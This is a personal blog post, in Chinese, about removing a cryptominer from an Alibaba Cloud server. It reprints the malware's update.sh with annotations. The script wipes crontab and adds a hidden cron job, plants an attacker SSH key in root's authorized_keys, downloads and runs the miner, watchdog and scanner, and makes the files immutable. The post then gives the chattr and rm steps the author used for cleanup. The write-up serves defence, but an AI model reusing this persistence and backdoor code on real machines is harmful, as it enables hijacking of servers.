阿里云服务器被挖矿的记录

阿里云突然提醒我的服务器有恶意扫描,挖矿程序,一直没怎么管,反正也没什么重要的东西。
阿里云服务器被挖矿的记录_第1张图片
阿里云服务器被挖矿的记录_第2张图片
阿里云服务器被挖矿的记录_第3张图片
刚好今天有空,就来了解了一下如何解决。
使用top命令查看进程是这样的
阿里云服务器被挖矿的记录_第4张图片

看阿里云的提示,恶意进程分别有/etc/sysupdate,/etc/sysupguard,/etc/networkservice。

cpu也占满了。

直接使用kill -9 杀掉这些进程,没过一会就重启了。。。。

网上各种百度,让执行crontab -e查定时任务,用crontab -r删除定时任务。

没用,执行了根本就没有任何用处,而且很多文章写的乱七八糟,看的头疼,我也不是运维,就一小程序员,linux也不是很熟,只会基本命令。

后来通过一篇文章发现了update.sh这个东西,打开这个文件发现了一点东西。

这个文件想看就看,不想看就注意下我写了注释的地方,知道下是干嘛的就好。

rtdir="/etc/sysupdates"
// 这个命令把我们的定时任务都清了,我们自己再执行只会提示no crontab for root
crontab -r
    rm -rf /var/spool/cron/ *
if [ -f "$rtdir" ]
then
        echo "i am root"
        echo "goto 1" >> /etc/sysupdate
        chattr -i /etc/sysupdate*
        chattr -i /etc/config.json*
        chattr -i /etc/update.sh*
        chattr -i /root/.ssh/authorized_keys*
	    chattr -i /etc/networkservice
	// 这个地方才是导致我执行crontab没反应的地方,把任何输出都指向了/dev/null
	if [ ! -f "/usr/bin/crontab" ]
		then 
			echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${
     crondir}
		else
			[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
	fi
	    // 这个算是挖矿者给自己创建的公钥,留的后门
        chmod 700 /root/.ssh/
        echo >> /root/.ssh/authorized_keys
        chmod 600 root/.ssh/authorized_keys
        echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAafmwzDMv1RKxPdJI/oeXUSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0UB9u1KxY5IOzqG4QTgZ6LP2UUWLG7AZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyHtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
        
	
        cfg="/etc/config.json"
        file="/etc/sysupdate"
    // 下面这些都是下载对应的文件
	if [-f "/etc/config.json" ]
	then
		filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
		if [ "$filesize_config" -ne "$config_size" ]	
		then
            pkill -f sysupdate
			rm /etc/config.json
            downloads $config_url /etc/config.json $config_url_backup
		else
			echo "no need download"
		fi
	else
		downloads $config_url /etc/config.json $config_url_backup
    fi
    
    if [ -f "/etc/sysupdate" ]
    then
            filesize1=`ls -l /etc/sysupdate | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$miner_size" ] 
            then
                pkill -f sysupdate
                rm /etc/sysupdate
                downloads $miner_url /etc/sysupdate $miner_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $miner_url /etc/sysupdate $miner_url_backup
    fi
    
    if [ -f "/etc/sysguard" ]
    then
            filesize1=`ls -l /etc/sysguard | awk '{ print $5 }'`
            if [ "$filesize1" -ne "$watchdog_size" ] 
            then
                pkill -f sysguard
                rm /etc/sysguard
                downloads $watchdog_url /etc/sysguard $watchdog_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $watchdog_url /etc/sysguard $watchdog_url_backup
    fi

    downloads $sh_url /etc/update.sh $sh_url_backup

    if [ -f "/etc/networkservice" ]
    then
            filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`
            if [ "$filesize2" -ne "$scan_size" ] 
            then
                pkill -f networkservice
                rm /etc/networkservice
                downloads  $scan_url /etc/networkservice $scan_url_backup
            else
                echo "not need download"
            fi
    else
            downloads $scan_url /etc/networkservice $scan_url_backup
    fi
	
	// 下面这些都是如果对应进程没启动,就会自动启动
    chmod 777 /etc/sysupdate
    ps -fe|grep sysupdate |grep -v grep
    if [ $? -ne 0 ]
    then
                cd /etc
                echo "not root runing"
                sleep 5s
                ./sysupdate &
    else
                echo "root runing....."
    fi
	chmod 777 /etc/networkservice
    ps -fe|grep networkservice |grep -v grep
    if [ $? -ne 0 ]
    then
                cd /etc
                echo "not roots runing"
                sleep 5s
                ./networkservice &
    else
                echo "roots runing....."
    fi
    chmod 777 /etc/sysguard
    ps -fe|grep sysguard |grep -v grep
        if [ $? -ne 0 ]
            then
                echo "not tmps runing"
                cd /etc
                chmod 777 sysguard
                sleep 5s
                ./sysguard &
            else
                echo "roots runing....."
        fi


	// 下面这些文件都是你要删除的。以及上面的sysguard,本.sh文件中赋予777权限的都是你要删除的
    chmod 777 /etc/sysupdate
    chattr +i /etc/sysupdate
	chmod 777 /etc/networkservice
	chattr +i /etc/networkservice
    chmod 777 /etc/config.json
    chattr +i /etc/config.json
    chmod 777 /etc/update.sh
    chattr +i /etc/update.sh
    chmod 777 /root/.ssh/authorized_keys
    chattr +i /root/.ssh/authorized_keys

找到了问题所在,我一想那把update.sh删了就行了呗

rm -f update.sh
# rm: cannot remove ‘update.sh’: Operation not permitted(好吧,不行)
chmod -x update.sh
# chmod: changing permissions of ‘update.sh’: Operation not permitted(还是不行)

试了两次都无法删除,就查看文件属性


lsattr update.sh
# ----i--------e-- update.sh(显示了两个属性i,e)
chattr -i update.sh
# 执行之后没有反应,说明i的权限被去除了。也许你们的文件不一定和我这个属性一样,但是是哪个属性,你就去除哪个。
chattr -e update.sh
# chattr: Operation not supported while setting flags on update.sh(说明e这个属性是不能修改的)
rm -f update.sh
# 执行之后没有反应,删除成功。
# 同理删除其他几个文件networkservice sysupdate config.json sysguard,不知道删除哪些文件的可以看上面的分析update.sh,里面有写
rm -f networkservice sysupdate config.json sysguard
# rm: cannot remove ‘networkservice’: Operation not permitted
# rm: cannot remove ‘sysupdate’: Operation not permitted
# rm: cannot remove ‘config.json’: Operation not permitted
chattr -i networkservice sysupdate config.json
rm -f networkservice sysupdate config.json
# 删除公钥
cd /root/.ssh
lsattr authorized_keys
# ----i--------e-- authorized_keys
chattr -i authorized_keys
rm -f authorized_keys

# 最后杀掉对应的进程,我这里只有两个,你们那也许不止,基本就是上面的那几个sh文件触发的进程。
kill -9 7870
kill -9 15117

至此没有挖矿程序就没有再启动了。

此次解决从收到短信,前前后后总共花了100分钟左右。。。。大部分时间花在百度上了,而且还看的云里雾里!!!

你可能感兴趣的:(挖矿,阿里云,攻击,恶意程序)